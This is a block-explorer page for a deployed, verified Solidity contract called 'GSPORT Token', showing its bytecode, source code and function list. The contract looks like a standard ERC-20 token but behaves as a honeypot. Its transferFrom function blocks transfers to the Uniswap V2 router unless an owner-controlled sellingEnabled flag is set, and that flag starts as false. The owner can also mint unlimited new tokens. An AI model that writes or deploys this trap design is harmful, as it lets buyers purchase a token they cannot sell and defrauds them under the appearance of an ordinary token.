Address Contract Verified
Address
0xeaDa4Bf907Ec6fD5544Fc194491dADA8620594d5
Balance
0 ETH
Nonce
1
Code Size
2698 bytes
Creator
0x53bc1113...134a at tx 0xb9429d43...1ed147
Indexed Transactions
0
Contract Bytecode
2698 bytes
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610213578063b16d78cf14610226578063dd62ed3e14610239578063f771cb651461026457600080fd5b80638da5cb5b146101b95780638ddedb33146101e45780638ed2fe91146101f757806395d89b411461020b57600080fd5b806323b872dd116100d357806323b872dd14610152578063313ce5671461016557806340c10f191461018457806370a082311461019957600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610278565b60405161010f9190610874565b60405180910390f35b61012b6101263660046108de565b610306565b604051901515815260200161010f565b61014460035481565b60405190815260200161010f565b61012b610160366004610908565b610373565b6002546101729060ff1681565b60405160ff909116815260200161010f565b6101976101923660046108de565b6105ef565b005b6101446101a7366004610944565b60056020526000908152604090205481565b6004546101cc906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101976101f2366004610966565b6106a2565b60045461012b90600160a01b900460ff1681565b6101026106ea565b61012b6102213660046108de565b6106f7565b610197610234366004610966565b61082c565b610144610247366004610988565b600660209081526000928352604080842090915290825290205481565b60045461012b90600160a81b900460ff1681565b60008054610285906109bb565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906109bb565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b505050505081565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103619086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600560205260408120548211156103d75760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064015b60405180910390fd5b6001600160a01b038416600090815260066020908152604080832033845290915290205482111561043f5760405162461bcd60e51b8152602060048201526012602482015271105b1b1bddd85b98d948195e18d95959195960721b60448201526064016103ce565b6001600160a01b0383166104905760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220746f207a65726f206164647265737360401b60448201526064016103ce565b737a250d5630b4cf539739df2c5dacb4c659f2488c196001600160a01b0384160161050457600454600160a81b900460ff166105045760405162461bcd60e51b815260206004820152601360248201527214d95b1b1a5b99c81a5cc8191a5cd8589b1959606a1b60448201526064016103ce565b6001600160a01b0384166000908152600560205260408120805484929061052c908490610a0b565b90915550506001600160a01b03831660009081526005602052604081208054849290610559908490610a1e565b90915550506001600160a01b038416600090815260066020908152604080832033845290915281208054849290610591908490610a0b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105dd91815260200190565b60405180910390a35060019392505050565b6004546001600160a01b031633146106195760405162461bcd60e51b81526004016103ce90610a31565b806003600082825461062b9190610a1e565b90915550506001600160a01b03821660009081526005602052604081208054839290610658908490610a1e565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6004546001600160a01b031633146106cc5760405162461bcd60e51b81526004016103ce90610a31565b60048054911515600160a01b0260ff60a01b19909216919091179055565b60018054610285906109bb565b3360009081526005602052604081205482111561074d5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064016103ce565b6001600160a01b03831661079e5760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220746f207a65726f206164647265737360401b60448201526064016103ce565b33600090815260056020526040812080548492906107bd908490610a0b565b90915550506001600160a01b038316600090815260056020526040812080548492906107ea908490610a1e565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610361565b6004546001600160a01b031633146108565760405162461bcd60e51b81526004016103ce90610a31565b60048054911515600160a81b0260ff60a81b19909216919091179055565b600060208083528351808285015260005b818110156108a157858101830151858201604001528201610885565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108d957600080fd5b919050565b600080604083850312156108f157600080fd5b6108fa836108c2565b946020939093013593505050565b60008060006060848603121561091d57600080fd5b610926846108c2565b9250610934602085016108c2565b9150604084013590509250925092565b60006020828403121561095657600080fd5b61095f826108c2565b9392505050565b60006020828403121561097857600080fd5b8135801515811461095f57600080fd5b6000806040838503121561099b57600080fd5b6109a4836108c2565b91506109b2602084016108c2565b90509250929050565b600181811c908216806109cf57607f821691505b6020821081036109ef57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561036d5761036d6109f5565b8082018082111561036d5761036d6109f5565b6020808252600990820152682737ba1037bbb732b960b91b60408201526060019056fea2646970667358221220927f2e65b16e037fa6c77a619e26ced90b8003172acc2be30a91ac29d286e94564736f6c63430008130033
Verified Source Code Full Match
Compiler: v0.8.19+commit.7dd6d404
EVM: paris
Optimization: Yes (200 runs)
GSPORT.sol 80 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract GSPORT {
string public name = "GSPORT Token";
string public symbol = "GSPORT";
uint8 public decimals = 18;
uint256 public totalSupply;
address public owner;
bool public buyingEnabled = true;
bool public sellingEnabled = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() {
owner = msg.sender;
totalSupply = 10_000_000 * 10**decimals;
balanceOf[owner] = totalSupply;
emit Transfer(address(0), owner, totalSupply);
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function transfer(address to, uint256 value) public returns (bool) {
require(balanceOf[msg.sender] >= value, "Insufficient balance");
require(to != address(0), "Transfer to zero address");
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(balanceOf[from] >= value, "Insufficient balance");
require(allowance[from][msg.sender] >= value, "Allowance exceeded");
require(to != address(0), "Transfer to zero address");
// Check if selling to DEX (simplified)
if (to == address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)) {
require(sellingEnabled, "Selling is disabled");
}
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
function setBuyingEnabled(bool enabled) external onlyOwner {
buyingEnabled = enabled;
}
function setSellingEnabled(bool enabled) external onlyOwner {
sellingEnabled = enabled;
}
function mint(address to, uint256 amount) external onlyOwner {
totalSupply += amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyingEnabled 0x8ed2fe91 → bool
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellingEnabled 0xf771cb65 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
mint 0x40c10f19
address to
uint256 amount
setBuyingEnabled 0x8ddedb33
bool enabled
setSellingEnabled 0xb16d78cf
bool enabled
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
Recent Transactions
No transactions found for this address